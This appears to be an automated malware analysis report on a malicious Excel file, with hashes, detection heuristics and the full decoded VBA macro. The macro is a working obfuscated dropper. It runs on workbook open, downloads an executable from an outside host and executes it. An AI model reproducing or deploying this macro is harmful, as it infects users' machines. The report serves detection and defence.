Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ac68c7fe2240b256…

MALICIOUS

Office (OOXML)

61.1 KB Created: 2017-04-15 10:16:58 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2017-04-25
MD5: aa814095f2cc239ef86b7a6718a167e9 SHA-1: 0062777319b823f788ef2ef326f60e415cc65655 SHA-256: ac68c7fe2240b256c6a7d619601d66c1a2228e805ce33bfbc388951d214146a8
470 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Excel document containing obfuscated VBA macros designed to execute automatically upon opening. The macros download a second-stage executable from 'http://b.reich.io/gspsfm.exe' and likely attempt to establish persistence. The document body attempts to lure the user into enabling macros by displaying a fake message about photos.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(102 - 35) & Chr(702 - 625) & Chr(1037 - 937) & Chr(44 - 12) & Chr(890 - 843) & Chr(940 - 841) & Chr(44 - 12) & Chr(940 - 841) & Chr(1037 - 937) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(102 - 35) & Chr(702 - 625) & Chr(1037 - 937) & Chr(44 - 12) & Chr(890 - 843) & Chr(940 - 841) & Chr(44 - 12) & Chr(940 - 841) & Chr(1037 - 937) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & J0f & " H7m= ""http://b.reich.io/gspsfm.exe"">>H7n.VBE &" & J0f & " G2j = H3l(""ey{tgOfyf"")>>H7n.VBE &" & J0f & " Set U7r = CreateObject(H3l(""ntynmSOynmiuuq""))>>H7n.VBE &" & J0f & " U7r.Open H3l(""hfu""), H7m, False>>H7n.VBE &" & J0f & " U7r.send ("""")>>H7n.VBE  &" & J0f & " Set D7j = CreateObject(H3l(""bepecOtusfbn""))>>H7n.VBE &" & J0f & " D7j.Open>>H7n.VBE &" & J0f & " D7j.Type = 1 >>H7n.VBE  &@eCHo D7j.Write U7r.ResponseBody>>H7n.VBE &" & J0f & " D7j.Position = 0 >>H7n.VBE &" &  …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(102 - 35) & Chr(702 - 625) & Chr(1037 - 937) & Chr(44 - 12) & Chr(890 - 843) & Chr(940 - 841) & Chr(44 - 12) & Chr(940 - 841) & Chr(1037 - 937) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & J0f & " H7m= ""http://b.reich.io/gspsfm.exe"">>H7n.VBE &" & J0f & " G2j = H3l(""ey{tgOfyf"")>>H7n.VBE &" & J0f & " Set U7r = CreateObject(H3l(""ntynmSOynmiuuq""))>>H7n.VBE &" & J0f & " U7r.Open H3l(""hfu""), H7m, False>>H7n.VBE &" & J0f & " U7r.send ("""")>>H7n.VBE  &" & J0f & " Set D7j = CreateObject(H3l(""bepecOtusfbn""))>>H7n.VBE &" & J0f & " D7j.Open>>H7n.VBE &" & J0f & " D7j.Type = 1 >>H7n.VBE  &@eCHo D7j.Write U7r.ResponseBody>>H7n.VBE &" & J0f & " D7j.Position = 0 >>H7n.VBE &" &  …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://b.reich.io/gspsfm.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3402 bytes
SHA-256: e702975e0b8d4c48ae858966c52be73c456f1aacc2b90de60f1e29a3a0553528
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub fotka()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
J0f = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
Shell Chr(102 - 35) & Chr(702 - 625) & Chr(1037 - 937) & Chr(44 - 12) & Chr(890 - 843) & Chr(940 - 841) & Chr(44 - 12) & Chr(940 - 841) & Chr(1037 - 937) & _
 Chr(44 - 12) & Chr(225 - 188) & Chr(264 - 180) & Chr(534 - 465) & Chr(1059 - 982) & Chr(827 - 747) & Chr(225 - 188) & _
 " & " & J0f & " H7m= ""http://b.reich.io/gspsfm.exe"">>H7n.VBE &" & J0f & " G2j = H3l(""ey{tgOfyf"")>>H7n.VBE &" & J0f & " Set U7r = CreateObject(H3l(""ntynmSOynmiuuq""))>>H7n.VBE &" & J0f & " U7r.Open H3l(""hfu""), H7m, False>>H7n.VBE &" & J0f & " U7r.send ("""")>>H7n.VBE  &" & J0f & " Set D7j = CreateObject(H3l(""bepecOtusfbn""))>>H7n.VBE &" & J0f & " D7j.Open>>H7n.VBE &" & J0f & " D7j.Type = 1 >>H7n.VBE  &@eCHo D7j.Write U7r.ResponseBody>>H7n.VBE &" & J0f & " D7j.Position = 0 >>H7n.VBE &" & J0f & " D7j.SaveToFile G2j, 2 >>H7n.VBE &" & J0f & " D7j.Close>>H7n.VBE &" & J0f & " function H3l(V0v) >> H7n.VBE &" & J0f & " For W2e = 1 To Len(V0v) >>H7n.VBE &" & J0f & " I6e = Mid(V0v, W2e, 1) >>H7n.VBE &" & J0f & " I6e = Chr(Asc(I6e)- 33) >>H7n.VBE &" & J0f & " G6s = G6s + I6e >> H7n.VBE  &" & J0f & " Next >>H7n.VBE &" & J0f & " H3l = G6s >>H7n.VBE &" & J0f & " End Function >>H7n.VBE  & H7n.VBE  &dEl H7n.VBE  & tIMeOUT 13 & DXZSF.EXE", vbHide
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
V4hO4wG0wE5pY1e = "V4hO4wG0wE5pY1e"
End Sub


Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15872 bytes
SHA-256: 87da8e9e71d3ef3a2002d74078e41f6cfb720805983ea8ead38e1397fdec5e6c
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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